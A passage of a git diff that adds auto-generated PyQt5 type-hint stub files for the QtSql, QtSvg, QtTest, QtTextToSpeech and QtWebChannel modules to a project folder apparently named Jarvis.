OnRowChange = ... # type: QSqlTableModel.EditStrategy + OnManualSubmit = ... # type: QSqlTableModel.EditStrategy + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ..., db: QSqlDatabase = ...) -> None: ... + + def primaryValues(self, row: int) -> QSqlRecord: ... + @typing.overload + def record(self) -> QSqlRecord: ... + @typing.overload + def record(self, row: int) -> QSqlRecord: ... + def selectRow(self, row: int) -> bool: ... + def indexInQuery(self, item: QtCore.QModelIndex) -> QtCore.QModelIndex: ... + def setQuery(self, query: QSqlQuery) -> None: ... + def setPrimaryKey(self, key: QSqlIndex) -> None: ... + def selectStatement(self) -> str: ... + def orderByClause(self) -> str: ... + def deleteRowFromTable(self, row: int) -> bool: ... + def insertRowIntoTable(self, values: QSqlRecord) -> bool: ... + def updateRowInTable(self, row: int, values: QSqlRecord) -> bool: ... + def beforeDelete(self, row: int) -> None: ... + def beforeUpdate(self, row: int, record: QSqlRecord) -> None: ... + def beforeInsert(self, record: QSqlRecord) -> None: ... + def primeInsert(self, row: int, record: QSqlRecord) -> None: ... + def revertAll(self) -> None: ... + def submitAll(self) -> bool: ... + def revert(self) -> None: ... + def submit(self) -> bool: ... + def revertRow(self, row: int) -> None: ... + def setRecord(self, row: int, record: QSqlRecord) -> bool: ... + def insertRecord(self, row: int, record: QSqlRecord) -> bool: ... + def insertRows(self, row: int, count: int, parent: QtCore.QModelIndex = ...) -> bool: ... + def removeRows(self, row: int, count: int, parent: QtCore.QModelIndex = ...) -> bool: ... + def removeColumns(self, column: int, count: int, parent: QtCore.QModelIndex = ...) -> bool: ... + def rowCount(self, parent: QtCore.QModelIndex = ...) -> int: ... + def setFilter(self, filter: str) -> None: ... + def filter(self) -> str: ... + def setSort(self, column: int, order: QtCore.Qt.SortOrder) -> None: ... + def sort(self, column: int, order: QtCore.Qt.SortOrder) -> None: ... + def fieldIndex(self, fieldName: str) -> int: ... + def database(self) -> QSqlDatabase: ... + def primaryKey(self) -> QSqlIndex: ... + def editStrategy(self) -> 'QSqlTableModel.EditStrategy': ... + def setEditStrategy(self, strategy: 'QSqlTableModel.EditStrategy') -> None: ... + def clear(self) -> None: ... + @typing.overload + def isDirty(self, index: QtCore.QModelIndex) -> bool: ... + @typing.overload + def isDirty(self) -> bool: ... + def headerData(self, section: int, orientation: QtCore.Qt.Orientation, role: int = ...) -> typing.Any: ... + def setData(self, index: QtCore.QModelIndex, value: typing.Any, role: int = ...) -> bool: ... + def data(self, idx: QtCore.QModelIndex, role: int = ...) -> typing.Any: ... + def flags(self, index: QtCore.QModelIndex) -> QtCore.Qt.ItemFlags: ... + def tableName(self) -> str: ... + def setTable(self, tableName: str) -> None: ... + def select(self) -> bool: ... + + +class QSqlRelationalTableModel(QSqlTableModel): + + class JoinMode(int): + InnerJoin = ... # type: QSqlRelationalTableModel.JoinMode + LeftJoin = ... # type: QSqlRelationalTableModel.JoinMode + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ..., db: QSqlDatabase = ...) -> None: ... + + def setJoinMode(self, joinMode: 'QSqlRelationalTableModel.JoinMode') -> None: ... + def insertRowIntoTable(self, values: QSqlRecord) -> bool: ... + def orderByClause(self) -> str: ... + def updateRowInTable(self, row: int, values: QSqlRecord) -> bool: ... + def selectStatement(self) -> str: ... + def removeColumns(self, column: int, count: int, parent: QtCore.QModelIndex = ...) -> bool: ... + def revertRow(self, row: int) -> None: ... + def relationModel(self, column: int) -> QSqlTableModel: ... + def relation(self, column: int) -> QSqlRelation: ... + def setRelation(self, column: int, relation: QSqlRelation) -> None: ... + def setTable(self, tableName: str) -> None: ... + def select(self) -> bool: ... + def clear(self) -> None: ... + def setData(self, item: QtCore.QModelIndex, value: typing.Any, role: int = ...) -> bool: ... + def data(self, item: QtCore.QModelIndex, role: int = ...) -> typing.Any: ... + + +class QSqlResult(PyQt5.sip.wrapper): + + class BindingSyntax(int): + PositionalBinding = ... # type: QSqlResult.BindingSyntax + NamedBinding = ... # type: QSqlResult.BindingSyntax + + def __init__(self, db: QSqlDriver) -> None: ... + + def lastInsertId(self) -> typing.Any: ... + def record(self) -> QSqlRecord: ... + def numRowsAffected(self) -> int: ... + def size(self) -> int: ... + def fetchLast(self) -> bool: ... + def fetchFirst(self) -> bool: ... + def fetchPrevious(self) -> bool: ... + def fetchNext(self) -> bool: ... + def fetch(self, i: int) -> bool: ... + def reset(self, sqlquery: str) -> bool: ... + def isNull(self, i: int) -> bool: ... + def data(self, i: int) -> typing.Any: ... + def bindingSyntax(self) -> 'QSqlResult.BindingSyntax': ... + def hasOutValues(self) -> bool: ... + def clear(self) -> None: ... + def boundValueName(self, pos: int) -> str: ... + def executedQuery(self) -> str: ... + def boundValues(self) -> typing.List[typing.Any]: ... + def boundValueCount(self) -> int: ... + @typing.overload + def bindValueType(self, placeholder: str) -> 'QSql.ParamType': ... + @typing.overload + def bindValueType(self, pos: int) -> 'QSql.ParamType': ... + @typing.overload + def boundValue(self, placeholder: str) -> typing.Any: ... + @typing.overload + def boundValue(self, pos: int) -> typing.Any: ... + def addBindValue(self, val: typing.Any, type: typing.Union['QSql.ParamType', 'QSql.ParamTypeFlag']) -> None: ... + @typing.overload + def bindValue(self, pos: int, val: typing.Any, type: typing.Union['QSql.ParamType', 'QSql.ParamTypeFlag']) -> None: ... + @typing.overload + def bindValue(self, placeholder: str, val: typing.Any, type: typing.Union['QSql.ParamType', 'QSql.ParamTypeFlag']) -> None: ... + def savePrepare(self, sqlquery: str) -> bool: ... + def prepare(self, query: str) -> bool: ... + def exec(self) -> bool: ... + def exec_(self) -> bool: ... + def setForwardOnly(self, forward: bool) -> None: ... + def setSelect(self, s: bool) -> None: ... + def setQuery(self, query: str) -> None: ... + def setLastError(self, e: QSqlError) -> None: ... + def setActive(self, a: bool) -> None: ... + def setAt(self, at: int) -> None: ... + def driver(self) -> QSqlDriver: ... + def isForwardOnly(self) -> bool: ... + def isSelect(self) -> bool: ... + def isActive(self) -> bool: ... + def isValid(self) -> bool: ... + def lastError(self) -> QSqlError: ... + def lastQuery(self) -> str: ... + def at(self) -> int: ... + def handle(self) -> typing.Any: ... + + +class QSql(PyQt5.sip.simplewrapper): + + class NumericalPrecisionPolicy(int): + LowPrecisionInt32 = ... # type: QSql.NumericalPrecisionPolicy + LowPrecisionInt64 = ... # type: QSql.NumericalPrecisionPolicy + LowPrecisionDouble = ... # type: QSql.NumericalPrecisionPolicy + HighPrecision = ... # type: QSql.NumericalPrecisionPolicy + + class TableType(int): + Tables = ... # type: QSql.TableType + SystemTables = ... # type: QSql.TableType + Views = ... # type: QSql.TableType + AllTables = ... # type: QSql.TableType + + class ParamTypeFlag(int): + In = ... # type: QSql.ParamTypeFlag + Out = ... # type: QSql.ParamTypeFlag + InOut = ... # type: QSql.ParamTypeFlag + Binary = ... # type: QSql.ParamTypeFlag + + class Location(int): + BeforeFirstRow = ... # type: QSql.Location + AfterLastRow = ... # type: QSql.Location + + class ParamType(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSql.ParamType', 'QSql.ParamTypeFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSql.ParamType') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSql.ParamType': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtSvg.pyi b/OTHERS/Jarvis/ools/PyQt5/QtSvg.pyi new file mode 100644 index 00000000..06521856 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtSvg.pyi @@ -0,0 +1,147 @@ +# The PEP 484 type hints stub file for the QtSvg module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtWidgets +from PyQt5 import QtGui +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + +# Convenient aliases for complicated OpenGL types. +PYQT_OPENGL_ARRAY = typing.Union[typing.Sequence[int], typing.Sequence[float], + PyQt5.sip.Buffer, None] +PYQT_OPENGL_BOUND_ARRAY = typing.Union[typing.Sequence[int], + typing.Sequence[float], PyQt5.sip.Buffer, int, None] + + +class QGraphicsSvgItem(QtWidgets.QGraphicsObject): + + @typing.overload + def __init__(self, parent: typing.Optional[QtWidgets.QGraphicsItem] = ...) -> None: ... + @typing.overload + def __init__(self, fileName: str, parent: typing.Optional[QtWidgets.QGraphicsItem] = ...) -> None: ... + + def type(self) -> int: ... + def paint(self, painter: QtGui.QPainter, option: QtWidgets.QStyleOptionGraphicsItem, widget: typing.Optional[QtWidgets.QWidget] = ...) -> None: ... + def boundingRect(self) -> QtCore.QRectF: ... + def maximumCacheSize(self) -> QtCore.QSize: ... + def setMaximumCacheSize(self, size: QtCore.QSize) -> None: ... + def elementId(self) -> str: ... + def setElementId(self, id: str) -> None: ... + def renderer(self) -> 'QSvgRenderer': ... + def setSharedRenderer(self, renderer: 'QSvgRenderer') -> None: ... + + +class QSvgGenerator(QtGui.QPaintDevice): + + def __init__(self) -> None: ... + + def metric(self, metric: QtGui.QPaintDevice.PaintDeviceMetric) -> int: ... + def paintEngine(self) -> QtGui.QPaintEngine: ... + @typing.overload + def setViewBox(self, viewBox: QtCore.QRect) -> None: ... + @typing.overload + def setViewBox(self, viewBox: QtCore.QRectF) -> None: ... + def viewBoxF(self) -> QtCore.QRectF: ... + def viewBox(self) -> QtCore.QRect: ... + def setDescription(self, description: str) -> None: ... + def description(self) -> str: ... + def setTitle(self, title: str) -> None: ... + def title(self) -> str: ... + def setResolution(self, resolution: int) -> None: ... + def resolution(self) -> int: ... + def setOutputDevice(self, outputDevice: QtCore.QIODevice) -> None: ... + def outputDevice(self) -> QtCore.QIODevice: ... + def setFileName(self, fileName: str) -> None: ... + def fileName(self) -> str: ... + def setSize(self, size: QtCore.QSize) -> None: ... + def size(self) -> QtCore.QSize: ... + + +class QSvgRenderer(QtCore.QObject): + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, filename: str, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, contents: typing.Union[QtCore.QByteArray, bytes, bytearray], parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, contents: QtCore.QXmlStreamReader, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def transformForElement(self, id: str) -> QtGui.QTransform: ... + def setAspectRatioMode(self, mode: QtCore.Qt.AspectRatioMode) -> None: ... + def aspectRatioMode(self) -> QtCore.Qt.AspectRatioMode: ... + def repaintNeeded(self) -> None: ... + @typing.overload + def render(self, p: QtGui.QPainter) -> None: ... + @typing.overload + def render(self, p: QtGui.QPainter, bounds: QtCore.QRectF) -> None: ... + @typing.overload + def render(self, painter: QtGui.QPainter, elementId: str, bounds: QtCore.QRectF = ...) -> None: ... + @typing.overload + def load(self, filename: str) -> bool: ... + @typing.overload + def load(self, contents: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> bool: ... + @typing.overload + def load(self, contents: QtCore.QXmlStreamReader) -> bool: ... + def animationDuration(self) -> int: ... + def setCurrentFrame(self, a0: int) -> None: ... + def currentFrame(self) -> int: ... + def setFramesPerSecond(self, num: int) -> None: ... + def framesPerSecond(self) -> int: ... + def boundsOnElement(self, id: str) -> QtCore.QRectF: ... + def animated(self) -> bool: ... + @typing.overload + def setViewBox(self, viewbox: QtCore.QRect) -> None: ... + @typing.overload + def setViewBox(self, viewbox: QtCore.QRectF) -> None: ... + def viewBoxF(self) -> QtCore.QRectF: ... + def viewBox(self) -> QtCore.QRect: ... + def elementExists(self, id: str) -> bool: ... + def defaultSize(self) -> QtCore.QSize: ... + def isValid(self) -> bool: ... + + +class QSvgWidget(QtWidgets.QWidget): + + @typing.overload + def __init__(self, parent: typing.Optional[QtWidgets.QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, file: str, parent: typing.Optional[QtWidgets.QWidget] = ...) -> None: ... + + def paintEvent(self, event: QtGui.QPaintEvent) -> None: ... + @typing.overload + def load(self, file: str) -> None: ... + @typing.overload + def load(self, contents: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def sizeHint(self) -> QtCore.QSize: ... + def renderer(self) -> QSvgRenderer: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtTest.pyi b/OTHERS/Jarvis/ools/PyQt5/QtTest.pyi new file mode 100644 index 00000000..5512a874 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtTest.pyi @@ -0,0 +1,173 @@ +# The PEP 484 type hints stub file for the QtTest module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtWidgets +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + +# Convenient aliases for complicated OpenGL types. +PYQT_OPENGL_ARRAY = typing.Union[typing.Sequence[int], typing.Sequence[float], + PyQt5.sip.Buffer, None] +PYQT_OPENGL_BOUND_ARRAY = typing.Union[typing.Sequence[int], + typing.Sequence[float], PyQt5.sip.Buffer, int, None] + + +class QAbstractItemModelTester(QtCore.QObject): + + class FailureReportingMode(int): + QtTest = ... # type: QAbstractItemModelTester.FailureReportingMode + Warning = ... # type: QAbstractItemModelTester.FailureReportingMode + Fatal = ... # type: QAbstractItemModelTester.FailureReportingMode + + @typing.overload + def __init__(self, model: QtCore.QAbstractItemModel, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, model: QtCore.QAbstractItemModel, mode: 'QAbstractItemModelTester.FailureReportingMode', parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def failureReportingMode(self) -> 'QAbstractItemModelTester.FailureReportingMode': ... + def model(self) -> QtCore.QAbstractItemModel: ... + + +class QSignalSpy(QtCore.QObject): + + @typing.overload + def __init__(self, signal: pyqtBoundSignal) -> None: ... + @typing.overload + def __init__(self, obj: QtCore.QObject, signal: QtCore.QMetaMethod) -> None: ... + + def __delitem__(self, i: int) -> None: ... + def __setitem__(self, i: int, value: typing.Iterable[typing.Any]) -> None: ... + def __getitem__(self, i: int) -> typing.List[typing.Any]: ... + def __len__(self) -> int: ... + def wait(self, timeout: int = ...) -> bool: ... + def signal(self) -> QtCore.QByteArray: ... + def isValid(self) -> bool: ... + + +class QTest(PyQt5.sip.simplewrapper): + + class KeyAction(int): + Press = ... # type: QTest.KeyAction + Release = ... # type: QTest.KeyAction + Click = ... # type: QTest.KeyAction + Shortcut = ... # type: QTest.KeyAction + + class QTouchEventSequence(sip.simplewrapper): + + def __init__(self, a0: 'QTest.QTouchEventSequence') -> None: ... + + def commit(self, processEvents: bool = ...) -> None: ... + def stationary(self, touchId: int) -> 'QTest.QTouchEventSequence': ... + @typing.overload + def release(self, touchId: int, pt: QtCore.QPoint, window: typing.Optional[QtGui.QWindow] = ...) -> 'QTest.QTouchEventSequence': ... + @typing.overload + def release(self, touchId: int, pt: QtCore.QPoint, widget: QtWidgets.QWidget) -> 'QTest.QTouchEventSequence': ... + @typing.overload + def move(self, touchId: int, pt: QtCore.QPoint, window: typing.Optional[QtGui.QWindow] = ...) -> 'QTest.QTouchEventSequence': ... + @typing.overload + def move(self, touchId: int, pt: QtCore.QPoint, widget: QtWidgets.QWidget) -> 'QTest.QTouchEventSequence': ... + @typing.overload + def press(self, touchId: int, pt: QtCore.QPoint, window: typing.Optional[QtGui.QWindow] = ...) -> 'QTest.QTouchEventSequence': ... + @typing.overload + def press(self, touchId: int, pt: QtCore.QPoint, widget: QtWidgets.QWidget) -> 'QTest.QTouchEventSequence': ... + + @typing.overload + def touchEvent(self, widget: QtWidgets.QWidget, device: QtGui.QTouchDevice) -> 'QTest.QTouchEventSequence': ... + @typing.overload + def touchEvent(self, window: QtGui.QWindow, device: QtGui.QTouchDevice) -> 'QTest.QTouchEventSequence': ... + @typing.overload + def qWaitForWindowExposed(self, window: QtGui.QWindow, timeout: int = ...) -> bool: ... + @typing.overload + def qWaitForWindowExposed(self, widget: QtWidgets.QWidget, timeout: int = ...) -> bool: ... + @typing.overload + def qWaitForWindowActive(self, window: QtGui.QWindow, timeout: int = ...) -> bool: ... + @typing.overload + def qWaitForWindowActive(self, widget: QtWidgets.QWidget, timeout: int = ...) -> bool: ... + def qWait(self, ms: int) -> None: ... + @typing.overload + def mouseRelease(self, widget: QtWidgets.QWidget, button: QtCore.Qt.MouseButton, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., pos: QtCore.QPoint = ..., delay: int = ...) -> None: ... + @typing.overload + def mouseRelease(self, window: QtGui.QWindow, button: QtCore.Qt.MouseButton, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., pos: QtCore.QPoint = ..., delay: int = ...) -> None: ... + @typing.overload + def mousePress(self, widget: QtWidgets.QWidget, button: QtCore.Qt.MouseButton, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., pos: QtCore.QPoint = ..., delay: int = ...) -> None: ... + @typing.overload + def mousePress(self, window: QtGui.QWindow, button: QtCore.Qt.MouseButton, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., pos: QtCore.QPoint = ..., delay: int = ...) -> None: ... + @typing.overload + def mouseMove(self, widget: QtWidgets.QWidget, pos: QtCore.QPoint = ..., delay: int = ...) -> None: ... + @typing.overload + def mouseMove(self, window: QtGui.QWindow, pos: QtCore.QPoint = ..., delay: int = ...) -> None: ... + @typing.overload + def mouseDClick(self, widget: QtWidgets.QWidget, button: QtCore.Qt.MouseButton, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., pos: QtCore.QPoint = ..., delay: int = ...) -> None: ... + @typing.overload + def mouseDClick(self, window: QtGui.QWindow, button: QtCore.Qt.MouseButton, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., pos: QtCore.QPoint = ..., delay: int = ...) -> None: ... + @typing.overload + def mouseClick(self, widget: QtWidgets.QWidget, button: QtCore.Qt.MouseButton, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., pos: QtCore.QPoint = ..., delay: int = ...) -> None: ... + @typing.overload + def mouseClick(self, window: QtGui.QWindow, button: QtCore.Qt.MouseButton, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., pos: QtCore.QPoint = ..., delay: int = ...) -> None: ... + @typing.overload + def keySequence(self, widget: QtWidgets.QWidget, keySequence: typing.Union[QtGui.QKeySequence, QtGui.QKeySequence.StandardKey, str, int]) -> None: ... + @typing.overload + def keySequence(self, window: QtGui.QWindow, keySequence: typing.Union[QtGui.QKeySequence, QtGui.QKeySequence.StandardKey, str, int]) -> None: ... + @typing.overload + def keyRelease(self, widget: QtWidgets.QWidget, key: QtCore.Qt.Key, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., delay: int = ...) -> None: ... + @typing.overload + def keyRelease(self, widget: QtWidgets.QWidget, key: str, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., delay: int = ...) -> None: ... + @typing.overload + def keyRelease(self, window: QtGui.QWindow, key: QtCore.Qt.Key, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., delay: int = ...) -> None: ... + @typing.overload + def keyRelease(self, window: QtGui.QWindow, key: str, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., delay: int = ...) -> None: ... + @typing.overload + def keyPress(self, widget: QtWidgets.QWidget, key: QtCore.Qt.Key, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., delay: int = ...) -> None: ... + @typing.overload + def keyPress(self, widget: QtWidgets.QWidget, key: str, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., delay: int = ...) -> None: ... + @typing.overload + def keyPress(self, window: QtGui.QWindow, key: QtCore.Qt.Key, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., delay: int = ...) -> None: ... + @typing.overload + def keyPress(self, window: QtGui.QWindow, key: str, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., delay: int = ...) -> None: ... + @typing.overload + def keyEvent(self, action: 'QTest.KeyAction', widget: QtWidgets.QWidget, key: QtCore.Qt.Key, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., delay: int = ...) -> None: ... + @typing.overload + def keyEvent(self, action: 'QTest.KeyAction', widget: QtWidgets.QWidget, ascii: str, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., delay: int = ...) -> None: ... + @typing.overload + def keyEvent(self, action: 'QTest.KeyAction', window: QtGui.QWindow, key: QtCore.Qt.Key, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., delay: int = ...) -> None: ... + @typing.overload + def keyEvent(self, action: 'QTest.KeyAction', window: QtGui.QWindow, ascii: str, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., delay: int = ...) -> None: ... + def keyClicks(self, widget: QtWidgets.QWidget, sequence: str, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., delay: int = ...) -> None: ... + @typing.overload + def keyClick(self, widget: QtWidgets.QWidget, key: QtCore.Qt.Key, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., delay: int = ...) -> None: ... + @typing.overload + def keyClick(self, widget: QtWidgets.QWidget, key: str, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., delay: int = ...) -> None: ... + @typing.overload + def keyClick(self, window: QtGui.QWindow, key: QtCore.Qt.Key, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., delay: int = ...) -> None: ... + @typing.overload + def keyClick(self, window: QtGui.QWindow, key: str, modifier: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., delay: int = ...) -> None: ... + def qSleep(self, ms: int) -> None: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtTextToSpeech.pyi b/OTHERS/Jarvis/ools/PyQt5/QtTextToSpeech.pyi new file mode 100644 index 00000000..dd029411 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtTextToSpeech.pyi @@ -0,0 +1,105 @@ +# The PEP 484 type hints stub file for the QtTextToSpeech module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + + +class QTextToSpeech(QtCore.QObject): + + class State(int): + Ready = ... # type: QTextToSpeech.State + Speaking = ... # type: QTextToSpeech.State + Paused = ... # type: QTextToSpeech.State + BackendError = ... # type: QTextToSpeech.State + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, engine: str, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def voiceChanged(self, voice: 'QVoice') -> None: ... + @typing.overload + def volumeChanged(self, volume: float) -> None: ... + @typing.overload + def volumeChanged(self, volume: int) -> None: ... + def pitchChanged(self, pitch: float) -> None: ... + def rateChanged(self, rate: float) -> None: ... + def localeChanged(self, locale: QtCore.QLocale) -> None: ... + def stateChanged(self, state: 'QTextToSpeech.State') -> None: ... + def setVoice(self, voice: 'QVoice') -> None: ... + def setVolume(self, volume: float) -> None: ... + def setPitch(self, pitch: float) -> None: ... + def setRate(self, rate: float) -> None: ... + def setLocale(self, locale: QtCore.QLocale) -> None: ... + def resume(self) -> None: ... + def pause(self) -> None: ... + def stop(self) -> None: ... + def say(self, text: str) -> None: ... + @staticmethod + def availableEngines() -> typing.List[str]: ... + def volume(self) -> float: ... + def pitch(self) -> float: ... + def rate(self) -> float: ... + def availableVoices(self) -> typing.List['QVoice']: ... + def voice(self) -> 'QVoice': ... + def locale(self) -> QtCore.QLocale: ... + def availableLocales(self) -> typing.List[QtCore.QLocale]: ... + def state(self) -> 'QTextToSpeech.State': ... + + +class QVoice(sip.simplewrapper): + + class Age(int): + Child = ... # type: QVoice.Age + Teenager = ... # type: QVoice.Age + Adult = ... # type: QVoice.Age + Senior = ... # type: QVoice.Age + Other = ... # type: QVoice.Age + + class Gender(int): + Male = ... # type: QVoice.Gender + Female = ... # type: QVoice.Gender + Unknown = ... # type: QVoice.Gender + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QVoice') -> None: ... + + @staticmethod + def ageName(age: 'QVoice.Age') -> str: ... + @staticmethod + def genderName(gender: 'QVoice.Gender') -> str: ... + def age(self) -> 'QVoice.Age': ... + def gender(self) -> 'QVoice.Gender': ... + def name(self) -> str: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtWebChannel.pyi b/OTHERS/Jarvis/ools/PyQt5/QtWebChannel.pyi new file mode 100644 index 00000000..885cca99 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtWebChannel.pyi @@ -0,0 +1,57 @@ +# The PEP 484 type hints stub file for the QtWebChannel module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + + +class QWebChannel(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def disconnectFrom(self, transport: 'QWebChannelAbstractTransport') -> None: ... + def connectTo(self, transport: 'QWebChannelAbstractTransport') -> None: ... + def blockUpdatesChanged(self, block: bool) -> None: ... + def setBlockUpdates(self, block: bool) -> None: ... + def blockUpdates(self) -> bool: ... + def deregisterObject(self, object: QtCore.QObject) -> None: ... + def registerObject(self, id: str, object: QtCore.QObject) -> None: ... + def registeredObjects(self) -> typing.Dict[str, QtCore.QObject]: ... + def registerObjects(self, objects: typing.Dict[str, QtCore.QObject]) -> None: ... + + 